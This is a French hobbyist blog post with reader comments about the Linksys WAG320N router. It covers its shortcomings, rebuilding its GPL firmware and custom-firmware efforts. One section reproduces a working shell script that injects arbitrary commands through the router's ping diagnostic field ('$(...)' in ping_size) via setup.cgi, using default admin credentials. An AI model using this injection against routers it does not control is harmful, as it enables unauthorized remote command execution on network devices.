Vous êtes passionnés comme moi de machines basse-consommation, ARM, Atom : rendez visite à mon partenaire !
Linksys WAG320N Linux inside
dimanche 27 février 2011 à 15:00 | Trucs
J'ai fait l'acquisition d'un nouveau routeur/modem ADSL2+ et mon choix s'est porté sur le Linksys WAG320N. Les critiques semblaient bonnes, mon routeur-modem actuel, un Zyxel, plantait régulièrement après 6 ans de bons et loyaux services, mettant hors ligne mon blog.
Déballage du routeur/modem Linksys WAG320N
Au menu de ce petit bijoux de technologie, que du bon ... Déjà c'est un Linksys by CISCO (je pratique les équipements professionnels CISCO depuis des années, c'est du sérieux). Ensuite, les technologies qu'il embarque, sont alléchantes :
- modem ADSL2+
- switch Gigabite ethernet
- wifi norme N
- un port USB
- média center
- DMZ
- un chipset Broadcom BRCM63xx, avec l'espoir d'avoir un custom firmware OpenWRT
J'ai déballé mon colis, branché la bête. Je me suis connecté à l'interface web, là j'ai commencé à déchanter : le modem/routeur Linksys WAG320N est une réelle grosse merde !!! Jugez plutôt :
- pas d'interface CLI (telnet ou ssh), que du web
- pas de vpn possible, au 21ème siècle, je crois rêver
- pas de plage d'IP différente sur l'interface dédiée DMZ
- firewall non paramétrable (même la LiveBox fait mieux)
- les débits du périphérique USB 4Mo/sec avec SMB et même en ftp(ça doit être de l'USB 1)
- lors de la copie d'un fichier on ne peut plus accéder à l'interface d'administration
- pas de bouton ou de planification des heures de mise en service du wifi
- pas de support de l'IPv6
- ...
Mais, je ne suis pas du genre à baisser les bras, et c'est dans l'adversité que l'homme se révèle ?!
Hacker le routeur Linksys WAG320N
J'ai entrepris quelques recherches et voilà le fruit de ma moisson. Le coeur du WAG 320 N est animé par Linux, il existe un moyen d'avoir un accès au shell de commande, grâce à un petit bug de l'interface web. J'ai trouvé ce script simple, sur le forum italien Hardware Upgrade :
#/bin/sh
#
# WAG320N-HACK
# Ver. 1.0
# 12/09/2010
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see .
# Set username and password in the form of "username:password"
# example: "admin:admin"
my_access="admin:admin"
# Parameters test
if [ -z "$1" ]
then
echo "wag320n-hack.sh: missing remote command"
echo "usage: wag320n-hack.sh "
echo "example: wag320n-hack.sh /bin/ls -la /usr/sbin"
echo "Note: always use full path"
echo ""
echo "wag320n-hack.sh - Ver. 1.0 - 12/09/2010"
echo "Licensed under GPL V. 3"
echo ""
exit 0
fi
# Get the command
my_command="ping_size="'$('"$@"' 1>&2)'
curl -s -G -u "$my_access" --data-urlencode 'todo=ping_test' --data-urlencode 'this_file=Diagnostics.htm' --data-urlencode 'next_file=Ping.htm' --data-urlencode 'c4_ping_ipaddr=192.168.1.1' --data-urlencode 'ping_timeout=5000' --data-urlencode 'ping_interval=1000' --data-urlencode 'ping_number=1' --data-urlencode "$my_command" http://192.168.1.1/setup.cgi | sed -e '/HTTP\/1.0 200 OK/q'
Il permet d’exécuter des commandes, depuis une machine, vers le WAG320-N (pour ceux, et il y en a, qui utilisent Windows vous pouvez télécharger les outils pour exécuter un .bat équivalent ici) ! En poussant l'exploration plus avant, j'ai découvert que le script avait été amélioré pour installer un serveur ssh dans le WAG-320N et d'autres outils à télécharger ici.
Compiler le code source du routeur Linksys WAG320N
En outre, le Linksys WAG320N fonctionnant avec Linux, la GPL oblige a publier les sources et les binaires qui composent l'ensemble du routeur modem WAG320N : vous pouvez les télécharger ici.
Pour compiler l'ensemble sous Linux, suivez le guide :
- extraction du d'archive tgz : tar xpf WAG320N_v1.00.12-A_GPL.tgz
- renommer le répertoire : mv WAG320N_v1.00.12-A_GPL WAG320N
- pour permettre la compilation sur une machine 64bits, vous devez réaliser les opérations suivantes :
- sudo aptitude install ia32-libs libc6-dev-i386 gcc-multilib
- cd bcm963xx_4.02L.01/hostTools/fakeroot; ./config.status --recheck (Ã cause du lien symbolique bash dans ubuntu qui pointe sur dash)
- insérer #include <linux/limits.h> dans le fichier WAG320N/bcm963xx_4.02L.01/kernel/linux/scripts/mod/sumversion.c
- commenter la ligne 76 du fichier WAG320N/tk_apps/matrixssl-1-8-8-open/src/Makefile
ifeq ($(shell uname -m),x86_64) #DFLAGS += -march=core2 -fPIC -DFP_64BIT -DTFM_X86_64 -DRDTSC endif
- enfin lancer : make auto
- ...
- et normalement, voilà votre firmware WAG320N tout propre : image/wag320n_A_1.00.12.bin
J'ai testé et réalisé l'ensemble des tests de compilation sur Ubuntu 10.04.2 LTS, sans arriver à compiler (les dernières erreurs viennent de la partie fakeroot) : HELP si vous avez des idées, je suis un peu nul en dev :p . Le thread d'origine est ici.
Côté OpenWRT, je n'ai rien trouvé de probant pour le moment.
J'ai décidé peut-être à tord de conserver cet équipement. Si, vous avez des informations complémentaires, je suis preneur !!!
A propos de Vincent RABAH
Je suis DSI depuis 10 ans. Spécialiste en systèmes d'information et réseaux.
Expert en management, GreenIT et virtualisation de serveurs. Vous pouvez consulter l'ensemble de mon parcours.
I do speak English even if my blog is written in French ... Feel free to leave comments, I'll answer you !
- Mes tops et flops de la semaine 19
- Traffic management
- Problème DynDNS avec le Linksys WAG320N
- Déplacer le répertoire MySQL sur Ubuntu
- Un peu de wget, beaucoup de grep, un soupçon de awk
- iPhone firefox addon
- Fun with One-Liners commands - épisode 2
- Inauguration de la Cantine Numérique Rennaise
- Jumanji, un navigateur web Vim-like
- Twitter en mode console
Vous pouvez lire également :
Partagez cet article :





y y dejá du code source et le premier firm modifié ;)
http://wiki.bandaancha.st/Firmware_Modfs_para_Linksys_WAG320N
Bonjours,
j'ai un cisco linksys et je ne parviens pas a trouver le bouton AOSS dessus, pourier vous me dire où il se trouve ?
Merci d'avance.
Effectivement lachapette, j'avais vu ça, mais pour l'instant, le firmware n'est pas dispo :(
Bonjour,
Il y a un projet open source qui semble vouloir démarrer sur ce modem-routeur.
http://modfs.sourceforge.net/
Ola Ruben, merci pour tous ces informations ! Ça confirme mes craintes : PAS DE CUSTOM firmware pour le moment :(
Salut, Vincent.
Le PCB a du JTAG (pas de header.. il faut solder les pattes d'un chip)... le port serie est coupé, faute de deux resistances manquantes.. (il faut juste souder les bornes et ça fonctionne).
J'ai pu compiler le firmware sur une machine Gentoo 32 bits ..
le kernel demarre pafaitement, mais quand il monte le fs, le système se congèle ...
log normal et log du firm compilé: http://www.dd-wrt.com/phpBB2/viewtopic.php?t=90016
evidemment, si on flashe le firmware compilé, le router devient semi-brick ...
métode de débrick: https://forum.openwrt.org/viewtopic.php?pid=129940#p129940
A propos du firm officiel, j'ai recompilé busybox avecn 'standalone console', mais par de résultat .. j'ai crée même /etc/inittab (il faut modifier target.tgz) et ça fonctionne non plus ...
Au fait, je ne suis pas sûr s'il faut créer lo node /dev/console (dans target.tgz) manuellement ... Ces jours-ci je vais copier le fichiers de /dev du router, dans target.tgz ...
À propos de Openwrt, je vais éssayer le méthode de wag160n v2 (voir la wiki).
pardon pour mon mauvais français
Pingdom est effectivement très bien. Mais, dans mon cas dès la première alerte, le support c'est moi: VIVE l'AUTOHEBERGEMENT !
Pour info: pingdom permet de surveiller l'uptime d'un site